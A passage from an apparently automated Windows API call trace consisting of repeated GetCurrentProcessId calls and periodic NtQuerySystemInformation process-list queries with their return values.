SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1def0) returned 0x0 [0253.039] GetCurrentProcessId () returned 0x10c0 [0253.039] GetCurrentProcessId () returned 0x10c0 [0253.039] GetCurrentProcessId () returned 0x10c0 [0253.039] GetCurrentProcessId () returned 0x10c0 [0253.039] GetCurrentProcessId () returned 0x10c0 [0253.040] GetCurrentProcessId () returned 0x10c0 [0253.040] GetCurrentProcessId () returned 0x10c0 [0253.040] GetCurrentProcessId () returned 0x10c0 [0253.040] GetCurrentProcessId () returned 0x10c0 [0253.040] GetCurrentProcessId () returned 0x10c0 [0253.040] GetCurrentProcessId () returned 0x10c0 [0253.040] GetCurrentProcessId () returned 0x10c0 [0253.040] GetCurrentProcessId () returned 0x10c0 [0253.040] GetCurrentProcessId () returned 0x10c0 [0253.040] GetCurrentProcessId () returned 0x10c0 [0253.040] GetCurrentProcessId () returned 0x10c0 [0253.040] GetCurrentProcessId () returned 0x10c0 [0253.040] GetCurrentProcessId () returned 0x10c0 [0253.040] GetCurrentProcessId () returned 0x10c0 [0253.040] GetCurrentProcessId () returned 0x10c0 [0253.040] GetCurrentProcessId () returned 0x10c0 [0253.040] GetCurrentProcessId () returned 0x10c0 [0253.041] GetCurrentProcessId () returned 0x10c0 [0253.041] GetCurrentProcessId () returned 0x10c0 [0253.041] GetCurrentProcessId () returned 0x10c0 [0253.041] GetCurrentProcessId () returned 0x10c0 [0253.041] GetCurrentProcessId () returned 0x10c0 [0253.041] GetCurrentProcessId () returned 0x10c0 [0253.041] GetCurrentProcessId () returned 0x10c0 [0253.041] GetCurrentProcessId () returned 0x10c0 [0253.041] GetCurrentProcessId () returned 0x10c0 [0253.041] GetCurrentProcessId () returned 0x10c0 [0253.041] GetCurrentProcessId () returned 0x10c0 [0253.041] GetCurrentProcessId () returned 0x10c0 [0253.041] GetCurrentProcessId () returned 0x10c0 [0253.041] GetCurrentProcessId () returned 0x10c0 [0253.041] GetCurrentProcessId () returned 0x10c0 [0253.041] GetCurrentProcessId () returned 0x10c0 [0253.041] GetCurrentProcessId () returned 0x10c0 [0253.042] GetCurrentProcessId () returned 0x10c0 [0253.042] GetCurrentProcessId () returned 0x10c0 [0253.042] GetCurrentProcessId () returned 0x10c0 [0253.042] GetCurrentProcessId () returned 0x10c0 [0253.042] GetCurrentProcessId () returned 0x10c0 [0253.042] GetCurrentProcessId () returned 0x10c0 [0253.042] GetCurrentProcessId () returned 0x10c0 [0253.042] GetCurrentProcessId () returned 0x10c0 [0253.042] GetCurrentProcessId () returned 0x10c0 [0253.042] GetCurrentProcessId () returned 0x10c0 [0253.042] GetCurrentProcessId () returned 0x10c0 [0253.042] GetCurrentProcessId () returned 0x10c0 [0253.042] GetCurrentProcessId () returned 0x10c0 [0253.042] GetCurrentProcessId () returned 0x10c0 [0253.042] GetCurrentProcessId () returned 0x10c0 [0253.042] GetCurrentProcessId () returned 0x10c0 [0253.042] GetCurrentProcessId () returned 0x10c0 [0253.043] GetCurrentProcessId () returned 0x10c0 [0253.043] GetCurrentProcessId () returned 0x10c0 [0253.043] GetCurrentProcessId () returned 0x10c0 [0253.043] GetCurrentProcessId () returned 0x10c0 [0253.043] GetCurrentProcessId () returned 0x10c0 [0253.043] GetCurrentProcessId () returned 0x10c0 [0253.043] GetCurrentProcessId () returned 0x10c0 [0253.043] GetCurrentProcessId () returned 0x10c0 [0253.043] GetCurrentProcessId () returned 0x10c0 [0253.043] GetCurrentProcessId () returned 0x10c0 [0253.043] GetCurrentProcessId () returned 0x10c0 [0253.043] GetCurrentProcessId () returned 0x10c0 [0253.043] GetCurrentProcessId () returned 0x10c0 [0253.043] GetCurrentProcessId () returned 0x10c0 [0253.043] GetCurrentProcessId () returned 0x10c0 [0253.043] GetCurrentProcessId () returned 0x10c0 [0253.043] GetCurrentProcessId () returned 0x10c0 [0253.043] GetCurrentProcessId () returned 0x10c0 [0253.043] GetCurrentProcessId () returned 0x10c0 [0253.044] GetCurrentProcessId () returned 0x10c0 [0253.044] GetCurrentProcessId () returned 0x10c0 [0253.044] GetCurrentProcessId () returned 0x10c0 [0253.044] GetCurrentProcessId () returned 0x10c0 [0253.044] GetCurrentProcessId () returned 0x10c0 [0253.044] GetCurrentProcessId () returned 0x10c0 [0253.044] GetCurrentProcessId () returned 0x10c0 [0253.044] GetCurrentProcessId () returned 0x10c0 [0253.044] GetCurrentProcessId () returned 0x10c0 [0253.044] GetCurrentProcessId () returned 0x10c0 [0253.044] GetCurrentProcessId () returned 0x10c0 [0253.044] GetCurrentProcessId () returned 0x10c0 [0253.044] GetCurrentProcessId () returned 0x10c0 [0253.044] GetCurrentProcessId () returned 0x10c0 [0253.044] GetCurrentProcessId () returned 0x10c0 [0253.045] GetCurrentProcessId () returned 0x10c0 [0253.045] GetCurrentProcessId () returned 0x10c0 [0253.045] GetCurrentProcessId () returned 0x10c0 [0253.045] GetCurrentProcessId () returned 0x10c0 [0253.045] GetCurrentProcessId () returned 0x10c0 [0253.045] GetCurrentProcessId () returned 0x10c0 [0253.045] GetCurrentProcessId () returned 0x10c0 [0253.045] GetCurrentProcessId () returned 0x10c0 [0253.045] GetCurrentProcessId () returned 0x10c0 [0253.045] GetCurrentProcessId () returned 0x10c0 [0253.045] GetCurrentProcessId () returned 0x10c0 [0253.045] GetCurrentProcessId () returned 0x10c0 [0253.045] GetCurrentProcessId () returned 0x10c0 [0253.045] GetCurrentProcessId () returned 0x10c0 [0253.045] GetCurrentProcessId () returned 0x10c0 [0253.045] GetCurrentProcessId () returned 0x10c0 [0253.045] GetCurrentProcessId () returned 0x10c0 [0253.045] GetCurrentProcessId () returned 0x10c0 [0253.046] GetCurrentProcessId () returned 0x10c0 [0253.046] GetCurrentProcessId () returned 0x10c0 [0253.046] GetCurrentProcessId () returned 0x10c0 [0253.046] GetCurrentProcessId () returned 0x10c0 [0253.046] GetCurrentProcessId () returned 0x10c0 [0253.678] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1def0) returned 0x0 [0253.683] GetCurrentProcessId () returned 0x10c0 [0253.683] GetCurrentProcessId () returned 0x10c0 [0253.683] GetCurrentProcessId () returned 0x10c0 [0253.683] GetCurrentProcessId () returned 0x10c0 [0253.683] GetCurrentProcessId () returned 0x10c0 [0253.683] GetCurrentProcessId () returned 0x10c0 [0253.683] GetCurrentProcessId () returned 0x10c0 [0253.683] GetCurrentProcessId () returned 0x10c0 [0253.683] GetCurrentProcessId () returned 0x10c0 [0253.683] GetCurrentProcessId () returned 0x10c0 [0253.683] GetCurrentProcessId () returned 0x10c0 [0253.683] GetCurrentProcessId () returned 0x10c0 [0253.683] GetCurrentProcessId () returned 0x10c0 [0253.683] GetCurrentProcessId () returned 0x10c0 [0253.683] GetCurrentProcessId () returned 0x10c0 [0253.683] GetCurrentProcessId () returned 0x10c0 [0253.683] GetCurrentProcessId () returned 0x10c0 [0253.683] GetCurrentProcessId () returned 0x10c0 [0253.683] GetCurrentProcessId () returned 0x10c0 [0253.683] GetCurrentProcessId () returned 0x10c0 [0253.683] GetCurrentProcessId () returned 0x10c0 [0253.684] GetCurrentProcessId () returned 0x10c0 [0253.684] GetCurrentProcessId () returned 0x10c0 [0253.684] GetCurrentProcessId () returned 0x10c0 [0253.684] GetCurrentProcessId () returned 0x10c0 [0253.684] GetCurrentProcessId () returned 0x10c0 [0253.684] GetCurrentProcessId () returned 0x10c0 [0253.684] GetCurrentProcessId () returned 0x10c0 [0253.684] GetCurrentProcessId () returned 0x10c0 [0253.684] GetCurrentProcessId () returned 0x10c0 [0253.684] GetCurrentProcessId () returned 0x10c0 [0253.684] GetCurrentProcessId () returned 0x10c0 [0253.684] GetCurrentProcessId () returned 0x10c0 [0253.684] GetCurrentProcessId () returned 0x10c0 [0253.684] GetCurrentProcessId () returned 0x10c0 [0253.684] GetCurrentProcessId () returned 0x10c0 [0253.684] GetCurrentProcessId () returned 0x10c0 [0253.684] GetCurrentProcessId () returned 0x10c0 [0253.684] GetCurrentProcessId () returned 0x10c0 [0253.684] GetCurrentProcessId () returned 0x10c0 [0253.684] GetCurrentProcessId () returned 0x10c0 [0253.684] GetCurrentProcessId () returned 0x10c0 [0253.684] GetCurrentProcessId () returned 0x10c0 [0253.685] GetCurrentProcessId () returned 0x10c0 [0253.685] GetCurrentProcessId () returned 0x10c0 [0253.685] GetCurrentProcessId () returned 0x10c0 [0253.685] GetCurrentProcessId () returned 0x10c0 [0253.685] GetCurrentProcessId () returned 0x10c0 [0253.685] GetCurrentProcessId () returned 0x10c0 [0253.685] GetCurrentProcessId () returned 0x10c0 [0253.685] GetCurrentProcessId () returned 0x10c0 [0253.685] GetCurrentProcessId () returned 0x10c0 [0253.685] GetCurrentProcessId () returned 0x10c0 [0253.685] GetCurrentProcessId () returned 0x10c0 [0253.685] GetCurrentProcessId () returned 0x10c0 [0253.685] GetCurrentProcessId () returned 0x10c0 [0253.685] GetCurrentProcessId () returned 0x10c0 [0253.685] GetCurrentProcessId () returned 0x10c0 [0253.685] GetCurrentProcessId () returned 0x10c0 [0253.685] GetCurrentProcessId () returned 0x10c0 [0253.685] GetCurrentProcessId () returned 0x10c0 [0253.685] GetCurrentProcessId () returned 0x10c0 [0253.685] GetCurrentProcessId () returned 0x10c0 [0253.685] GetCurrentProcessId () returned 0x10c0 [0253.686] GetCurrentProcessId () returned 0x10c0 [0253.686] GetCurrentProcessId () returned 0x10c0 [0253.686] GetCurrentProcessId () returned 0x10c0 [0253.686] GetCurrentProcessId () returned 0x10c0 [0253.686] GetCurrentProcessId () returned 0x10c0 [0253.686] GetCurrentProcessId () returned 0x10c0 [0253.686] GetCurrentProcessId () returned 0x10c0 [0253.686] GetCurrentProcessId () returned 0x10c0 [0253.686] GetCurrentProcessId () returned 0x10c0 [0253.686] GetCurrentProcessId () returned 0x10c0 [0253.686] GetCurrentProcessId () returned 0x10c0 [0253.686] GetCurrentProcessId () returned 0x10c0 [0253.686] GetCurrentProcessId () returned 0x10c0 [0253.686] GetCurrentProcessId () returned 0x10c0 [0253.686] GetCurrentProcessId () returned 0x10c0 [0253.686] GetCurrentProcessId () returned 0x10c0 [0253.686] GetCurrentProcessId () returned 0x10c0 [0253.686] GetCurrentProcessId () returned 0x10c0 [0253.686] GetCurrentProcessId () returned 0x10c0 [0253.686] GetCurrentProcessId () returned 0x10c0 [0253.687] GetCurrentProcessId () returned 0x10c0 [0253.687] GetCurrentProcessId () returned 0x10c0 [0253.687] GetCurrentProcessId () returned 0x10c0 [0253.687] GetCurrentProcessId () returned 0x10c0 [0253.687] GetCurrentProcessId () returned 0x10c0 [0253.687] GetCurrentProcessId () returned 0x10c0 [0253.687] GetCurrentProcessId () returned 0x10c0 [0253.687] GetCurrentProcessId () returned 0x10c0 [0253.687] GetCurrentProcessId () returned 0x10c0 [0253.687] GetCurrentProcessId () returned 0x10c0 [0253.687] GetCurrentProcessId () returned 0x10c0 [0253.687] GetCurrentProcessId () returned 0x10c0 [0253.687] GetCurrentProcessId () returned 0x10c0 [0253.687] GetCurrentProcessId () returned 0x10c0 [0253.687] GetCurrentProcessId () returned 0x10c0 [0253.687] GetCurrentProcessId () returned 0x10c0 [0253.687] GetCurrentProcessId () returned 0x10c0 [0253.687] GetCurrentProcessId () returned 0x10c0 [0253.687] GetCurrentProcessId () returned 0x10c0 [0253.687] GetCurrentProcessId () returned 0x10c0 [0253.687] GetCurrentProcessId () returned 0x10c0 [0253.687] GetCurrentProcessId () returned 0x10c0 [0253.687] GetCurrentProcessId () returned 0x10c0 [0253.688] GetCurrentProcessId () returned 0x10c0 [0253.688] GetCurrentProcessId () returned 0x10c0 [0253.688] GetCurrentProcessId () returned 0x10c0 [0253.688] GetCurrentProcessId () returned 0x10c0 [0253.688] GetCurrentProcessId () returned 0x10c0 [0253.688] GetCurrentProcessId () returned 0x10c0 [0254.257] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dc70) returned 0x0 [0254.775] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1da70) returned 0x0 [0255.428] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1da70) returned 0x0 [0255.931] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1da70) returned 0x0 [0256.586] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1da70) returned 0x0 [0257.154] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dac0) returned 0x0 [0257.715] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dac0) returned 0x0 [0258.379] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db10) returned 0x0 [0258.994] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db10) returned 0x0 [0259.551] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db10) returned 0x0 [0260.095] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db10) returned 0x0 [0260.106] GetCurrentProcessId () returned 0x10c0 [0260.106] GetCurrentProcessId () returned 0x10c0 [0260.106] GetCurrentProcessId () returned 0x10c0 [0260.106] GetCurrentProcessId () returned 0x10c0 [0260.106] GetCurrentProcessId () returned 0x10c0 [0260.106] GetCurrentProcessId () returned 0x10c0 [0260.106] GetCurrentProcessId () returned 0x10c0 [0260.106] GetCurrentProcessId () returned 0x10c0 [0260.106] GetCurrentProcessId () returned 0x10c0 [0260.106] GetCurrentProcessId () returned 0x10c0 [0260.106] GetCurrentProcessId () returned 0x10c0 [0260.106] GetCurrentProcessId () returned 0x10c0 [0260.107] GetCurrentProcessId () returned 0x10c0 [0260.107] GetCurrentProcessId () returned 0x10c0 [0260.107] GetCurrentProcessId () returned 0x10c0 [0260.107] GetCurrentProcessId () returned 0x10c0 [0260.107] GetCurrentProcessId () returned 0x10c0 [0260.107] GetCurrentProcessId () returned 0x10c0 [0260.107] GetCurrentProcessId () returned 0x10c0 [0260.107] GetCurrentProcessId () returned 0x10c0 [0260.107] GetCurrentProcessId () returned 0x10c0 [0260.107] GetCurrentProcessId () returned 0x10c0 [0260.107] GetCurrentProcessId () returned 0x10c0 [0260.107] GetCurrentProcessId () returned 0x10c0 [0260.107] GetCurrentProcessId () returned 0x10c0 [0260.107] GetCurrentProcessId () returned 0x10c0 [0260.107] GetCurrentProcessId () returned 0x10c0 [0260.107] GetCurrentProcessId () returned 0x10c0 [0260.107] GetCurrentProcessId () returned 0x10c0 [0260.108] GetCurrentProcessId () returned 0x10c0 [0260.108] GetCurrentProcessId () returned 0x10c0 [0260.108] GetCurrentProcessId () returned 0x10c0 [0260.108] GetCurrentProcessId () returned 0x10c0 [0260.108] GetCurrentProcessId () returned 0x10c0 [0260.108] GetCurrentProcessId () returned 0x10c0 [0260.108] GetCurrentProcessId () returned 0x10c0 [0260.108] GetCurrentProcessId () returned 0x10c0 [0260.108] GetCurrentProcessId () returned 0x10c0 [0260.108] GetCurrentProcessId () returned 0x10c0 [0260.108] GetCurrentProcessId () returned 0x10c0 [0260.108] GetCurrentProcessId () returned 0x10c0 [0260.108] GetCurrentProcessId () returned 0x10c0 [0260.108] GetCurrentProcessId () returned 0x10c0 [0260.108] GetCurrentProcessId () returned 0x10c0 [0260.108] GetCurrentProcessId () returned 0x10c0 [0260.108] GetCurrentProcessId () returned 0x10c0 [0260.108] GetCurrentProcessId () returned 0x10c0 [0260.108] GetCurrentProcessId () returned 0x10c0 [0260.109] GetCurrentProcessId () returned 0x10c0 [0260.109] GetCurrentProcessId () returned 0x10c0 [0260.109] GetCurrentProcessId () returned 0x10c0 [0260.109] GetCurrentProcessId () returned 0x10c0 [0260.109] GetCurrentProcessId () returned 0x10c0 [0260.109] GetCurrentProcessId () returned 0x10c0 [0260.109] GetCurrentProcessId () returned 0x10c0 [0260.109] GetCurrentProcessId () returned 0x10c0 [0260.109] GetCurrentProcessId () returned 0x10c0 [0260.109] GetCurrentProcessId () returned 0x10c0 [0260.109] GetCurrentProcessId () returned 0x10c0 [0260.109] GetCurrentProcessId () returned 0x10c0 [0260.109] GetCurrentProcessId () returned 0x10c0 [0260.109] GetCurrentProcessId () returned 0x10c0 [0260.109] GetCurrentProcessId () returned 0x10c0 [0260.109] GetCurrentProcessId () returned 0x10c0 [0260.109] GetCurrentProcessId () returned 0x10c0 [0260.109] GetCurrentProcessId () returned 0x10c0 [0260.109] GetCurrentProcessId () returned 0x10c0 [0260.110] GetCurrentProcessId () returned 0x10c0 [0260.110] GetCurrentProcessId () returned 0x10c0 [0260.110] GetCurrentProcessId () returned 0x10c0 [0260.110] GetCurrentProcessId () returned 0x10c0 [0260.110] GetCurrentProcessId () returned 0x10c0 [0260.110] GetCurrentProcessId () returned 0x10c0 [0260.110] GetCurrentProcessId () returned 0x10c0 [0260.110] GetCurrentProcessId () returned 0x10c0 [0260.110] GetCurrentProcessId () returned 0x10c0 [0260.110] GetCurrentProcessId () returned 0x10c0 [0260.110] GetCurrentProcessId () returned 0x10c0 [0260.110] GetCurrentProcessId () returned 0x10c0 [0260.110] GetCurrentProcessId () returned 0x10c0 [0260.110] GetCurrentProcessId () returned 0x10c0 [0260.110] GetCurrentProcessId () returned 0x10c0 [0260.110] GetCurrentProcessId () returned 0x10c0 [0260.110] GetCurrentProcessId () returned 0x10c0 [0260.110] GetCurrentProcessId () returned 0x10c0 [0260.110] GetCurrentProcessId () returned 0x10c0 [0260.110] GetCurrentProcessId () returned 0x10c0 [0260.110] GetCurrentProcessId () returned 0x10c0 [0260.110] GetCurrentProcessId () returned 0x10c0 [0260.111] GetCurrentProcessId () returned 0x10c0 [0260.111] GetCurrentProcessId () returned 0x10c0 [0260.111] GetCurrentProcessId () returned 0x10c0 [0260.111] GetCurrentProcessId () returned 0x10c0 [0260.111] GetCurrentProcessId () returned 0x10c0 [0260.111] GetCurrentProcessId () returned 0x10c0 [0260.111] GetCurrentProcessId () returned 0x10c0 [0260.111] GetCurrentProcessId () returned 0x10c0 [0260.111] GetCurrentProcessId () returned 0x10c0 [0260.111] GetCurrentProcessId () returned 0x10c0 [0260.111] GetCurrentProcessId () returned 0x10c0 [0260.111] GetCurrentProcessId () returned 0x10c0 [0260.111] GetCurrentProcessId () returned 0x10c0 [0260.111] GetCurrentProcessId () returned 0x10c0 [0260.111] GetCurrentProcessId () returned 0x10c0 [0260.111] GetCurrentProcessId () returned 0x10c0 [0260.111] GetCurrentProcessId () returned 0x10c0 [0260.111] GetCurrentProcessId () returned 0x10c0 [0260.111] GetCurrentProcessId () returned 0x10c0 [0260.111] GetCurrentProcessId () returned 0x10c0 [0260.111] GetCurrentProcessId () returned 0x10c0 [0260.111] GetCurrentProcessId () returned 0x10c0 [0260.111] GetCurrentProcessId () returned 0x10c0 [0260.688] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db10) returned 0x0 [0261.204] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db10) returned 0x0 [0261.779] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db10) returned 0x0 [0261.792] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.793] GetCurrentProcessId () returned 0x10c0 [0261.794] GetCurrentProcessId () returned 0x10c0 [0261.794] GetCurrentProcessId () returned 0x10c0 [0261.794] GetCurrentProcessId () returned 0x10c0 [0261.794] GetCurrentProcessId () returned 0x10c0 [0261.794] GetCurrentProcessId () returned 0x10c0 [0261.794] GetCurrentProcessId () returned 0x10c0 [0261.794] GetCurrentProcessId () returned 0x10c0 [0261.794] GetCurrentProcessId () returned 0x10c0 [0261.794] GetCurrentProcessId () returned 0x10c0 [0261.794] GetCurrentProcessId () returned 0x10c0 [0261.794] GetCurrentProcessId () returned 0x10c0 [0261.794] GetCurrentProcessId () returned 0x10c0 [0261.794] GetCurrentProcessId () returned 0x10c0 [0261.794] GetCurrentProcessId () returned 0x10c0 [0261.794] GetCurrentProcessId () returned 0x10c0 [0261.794] GetCurrentProcessId () returned 0x10c0 [0261.794] GetCurrentProcessId () returned 0x10c0 [0261.794] GetCurrentProcessId () returned 0x10c0 [0261.794] GetCurrentProcessId () returned 0x10c0 [0261.794] GetCurrentProcessId () returned 0x10c0 [0261.794] GetCurrentProcessId () returned 0x10c0 [0261.794] GetCurrentProcessId () returned 0x10c0 [0261.794] GetCurrentProcessId () returned 0x10c0 [0261.794] GetCurrentProcessId () returned 0x10c0 [0261.794] GetCurrentProcessId () returned 0x10c0 [0261.795] GetCurrentProcessId () returned 0x10c0 [0261.795] GetCurrentProcessId () returned 0x10c0 [0261.795] GetCurrentProcessId () returned 0x10c0 [0261.795] GetCurrentProcessId () returned 0x10c0 [0261.795] GetCurrentProcessId () returned 0x10c0 [0261.795] GetCurrentProcessId () returned 0x10c0 [0261.795] GetCurrentProcessId () returned 0x10c0 [0261.795] GetCurrentProcessId () returned 0x10c0 [0261.795] GetCurrentProcessId () returned 0x10c0 [0261.795] GetCurrentProcessId () returned 0x10c0 [0261.795] GetCurrentProcessId () returned 0x10c0 [0261.795] GetCurrentProcessId () returned 0x10c0 [0261.795] GetCurrentProcessId () returned 0x10c0 [0261.795] GetCurrentProcessId () returned 0x10c0 [0261.795] GetCurrentProcessId () returned 0x10c0 [0261.795] GetCurrentProcessId () returned 0x10c0 [0261.795] GetCurrentProcessId () returned 0x10c0 [0261.795] GetCurrentProcessId () returned 0x10c0 [0261.795] GetCurrentProcessId () returned 0x10c0 [0261.795] GetCurrentProcessId () returned 0x10c0 [0261.795] GetCurrentProcessId () returned 0x10c0 [0261.795] GetCurrentProcessId () returned 0x10c0 [0261.795] GetCurrentProcessId () returned 0x10c0 [0261.795] GetCurrentProcessId () returned 0x10c0 [0261.795] GetCurrentProcessId () returned 0x10c0 [0261.795] GetCurrentProcessId () returned 0x10c0 [0261.795] GetCurrentProcessId () returned 0x10c0 [0261.796] GetCurrentProcessId () returned 0x10c0 [0261.796] GetCurrentProcessId () returned 0x10c0 [0261.796] GetCurrentProcessId () returned 0x10c0 [0261.796] GetCurrentProcessId () returned 0x10c0 [0261.796] GetCurrentProcessId () returned 0x10c0 [0261.796] GetCurrentProcessId () returned 0x10c0 [0261.796] GetCurrentProcessId () returned 0x10c0 [0261.796] GetCurrentProcessId () returned 0x10c0 [0261.796] GetCurrentProcessId () returned 0x10c0 [0261.796] GetCurrentProcessId () returned 0x10c0 [0261.796] GetCurrentProcessId () returned 0x10c0 [0261.796] GetCurrentProcessId () returned 0x10c0 [0261.796] GetCurrentProcessId () returned 0x10c0 [0261.796] GetCurrentProcessId () returned 0x10c0 [0261.796] GetCurrentProcessId () returned 0x10c0 [0261.796] GetCurrentProcessId () returned 0x10c0 [0261.796] GetCurrentProcessId () returned 0x10c0 [0261.796] GetCurrentProcessId () returned 0x10c0 [0261.796] GetCurrentProcessId () returned 0x10c0 [0261.796] GetCurrentProcessId () returned 0x10c0 [0261.796] GetCurrentProcessId () returned 0x10c0 [0261.796] GetCurrentProcessId () returned 0x10c0 [0262.324] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db10) returned 0x0 [0262.351] GetCurrentProcessId () returned 0x10c0 [0262.351] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.352] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.353] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 